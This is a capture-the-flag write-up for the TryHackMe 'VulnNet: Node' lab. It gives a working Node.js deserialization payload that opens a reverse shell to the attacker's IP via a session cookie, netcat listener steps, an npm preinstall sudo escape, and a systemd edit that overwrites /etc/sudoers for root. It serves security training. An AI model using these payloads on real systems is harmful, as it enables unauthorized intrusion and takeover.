VulnNet: Node Writeup

TryHackMe VulnNet: Node created by TheCyb3rW0lf

First and always, read all the room data.

VulnNet: Node

After the previous breach, VulnNet Entertainment states it won’t happen again. Can you prove they’re wrong?

VulnNet Entertainment has moved its infrastructure and now they’re confident that no breach will happen again. You’re tasked to prove otherwise and penetrate their network.

Difficulty: Easy
Web Language: JavaScript
This is again an attempt to recreate some more realistic scenario but with techniques packed into a single machine. Good luck!

What is the user flag? (user.txt)
What is the root flag? (root.txt)

Set an IP variable to easier copy and paste commands.

ip=10.10.247.156 (Your room IP)
  1. Enumeration

Services enumeration

sudo nmap -sS -sC -Pn --open $ip

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-27 11:14 EDT
Nmap scan report for 10.10.247.156
Host is up (0.15s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE
8080/tcp open  http-proxy
|_http-title: VulnNet – Your reliable news source – Try Now!

Nmap done: 1 IP address (1 host up) scanned in 6.75 seconds

Only the port 8080 is open, the only way to get into this machine is thru a webshell.

Look the website.

For this room I use the Firefox extension Cookie-Editor (https://addons.mozilla.org/en-US/firefox/addon/cookie-editor/).

If you open the Cookie-Editor window, will see that you have a session cookie.

Change the value to 1%3D%3D, save and request the main page again, you will get an error message.

The code is showing an error message of something related of serialization and node.

Searching in the web I found this post that explain how to exploit Node.js deserialization.

Exploiting Node.js deserialization bug for Remote Code Execution

https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/

2. Exploitation

Download the code and execute the payload generator.

wget https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py

--2021-03-27 11:39:48--  https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.108.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1575 (1.5K) [text/plain]
Saving to: ‘nodejsshell.py’

nodejsshell.py                      100%[=================================================================>]   1.54K  --.-KB/s    in 0s      

2021-03-27 11:39:49 (48.9 MB/s) - ‘nodejsshell.py’ saved [1575/1575]

python2 nodejsshell.py
Usage: nodejsshell.py <LHOST> <LPORT>

Change this to your VPN IP and port.

python2 nodejsshell.py 10.6.60.115 1234 
[+] LHOST = 10.6.60.115
[+] LPORT = 1234
[+] Encoding
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,54,46,54,48,46,49,49,53,34,59,10,80,79,82,84,61,34,49,50,51,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))

All the code with eval is your reverse shell payload.

Now generate the serialized payload and add IIFE brackets () after the function body.

{"rce":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,54,46,54,48,46,49,49,53,34,59,10,80,79,82,84,61,34,49,50,51,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

Encode all this data to base64 and replace the session cookie with this content.

Before update the page, open a local netcat session on the IP and Port that you config previously.

nc -nvlp 1234

Now update the page, voilá, you have a web shell.

nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.6.60.115] from (UNKNOWN) [10.10.247.156] 59472
Connected!

id
uid=1001(www) gid=1001(www) groups=1001(www)

groups
www

Generate an interactive session and stabilize with python.

python3 -c "import pty;pty.spawn('/bin/bash')"; export TERM=xterm

Press ctrl + Z to send the session to background.

stty raw -echo; fg

3. Privilege Escalation

sudo -l
Matching Defaults entries for www on vulnnet-node:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www may run the following commands on vulnnet-node:
    (serv-manage) NOPASSWD: /usr/bin/npm

You have access to npm command as serv-manage user.

Looking at GTFOBins (https://gtfobins.github.io/), you will find a the commands to get a serv-manage shell session.

But these commands are to be executed as root, and you want to execute as serv-manage, so, you need grant full access to the files before continuing.

TF=$(mktemp -d)

echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json

chmod 777 $TF

sudo -u serv-manage /usr/bin/npm -C $TF --unsafe-perm i
> @ preinstall /tmp/tmp.psIjaV0NqT
> /bin/sh

$ 
$ id
id
uid=1000(serv-manage) gid=1000(serv-manage) groups=1000(serv-manage)

You got the serv-manage user. Collect the flag at /home/serv-manage/user.txt.

Start a bash session.

/bin/bash
sudo -l

Matching Defaults entries for serv-manage on vulnnet-node:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User serv-manage may run the following commands on vulnnet-node:
    (root) NOPASSWD: /bin/systemctl start vulnnet-auto.timer
    (root) NOPASSWD: /bin/systemctl stop vulnnet-auto.timer
    (root) NOPASSWD: /bin/systemctl daemon-reload

You has sudo access to reload systemd files, start and stop vulnnet-auto.timer service.

You can find the systemd files in the folder /etc/systemd/system/.

ls -la /etc/systemd/system/vuln*
ls -la /etc/systemd/system/vuln*
-rw-rw-r-- 1 root serv-manage 167 Jan 24 16:59 /etc/systemd/system/vulnnet-auto.timer
-rw-rw-r-- 1 root serv-manage 197 Jan 24 21:40 /etc/systemd/system/vulnnet-job.service

You have two services to play. Let’s look closer.

cat /etc/systemd/system/vulnnet-auto.timer
to.timer/systemd/system/vulnnet-aut
[Unit]
Description=Run VulnNet utilities every 30 min

[Timer]
OnBootSec=0min
# 30 min job
OnCalendar=*:0/30
Unit=vulnnet-job.service

[Install]
WantedBy=basic.target
cat /etc/systemd/system/vulnnet-job.service
b.servicesystemd/system/vulnnet-job
[Unit]
Description=Logs system statistics to the systemd journal
Wants=vulnnet-auto.timer

[Service]
# Gather system statistics
Type=forking
ExecStart=/bin/df

[Install]
WantedBy=multi-user.target

The job here, is change the first service to run every minute and change the second to give you full sudo access without the need of a password. You can use vi to edit those files.

And this is the final versions of the files.

cat /etc/systemd/system/vulnnet-auto.timer

[Unit]
Description=Run VulnNet utilities every 30 min

[Timer]
OnBootSec=0min
# 30 min job
OnCalendar=*:0/1
Unit=vulnnet-job.service

[Install]
WantedBy=basic.target
cat /etc/systemd/system/vulnnet-job.service 

[Unit]
Description=Logs system statistics to the systemd journal
Wants=vulnnet-auto.timer

[Service]
# Gather system statistics
Type=forking
#ExecStart=/bin/df
ExecStart=/bin/sh -c 'echo "serv-manage ALL=(root) NOPASSWD: ALL" > /etc/sudoers'

[Install]
WantedBy=multi-user.target

After change the files, using sudo, stop vulnnet-auto.timer, reload systemd files and start vulnnet-auto.timer.

sudo /bin/systemctl stop vulnnet-auto.timer

sudo /bin/systemctl daemon-reload

sudo /bin/systemctl start vulnnet-auto.timer

Wait some seconds and you will have sudo power. Get root.txt flag and finish the room.

sudo -l
User serv-manage may run the following commands on vulnnet-node:
    (root) NOPASSWD: ALL

sudo su

id
uid=0(root) gid=0(root) groups=0(root)

cat /root/root.txt

Thats it guys and girls, see you in the next challenge.

May the Force be with you …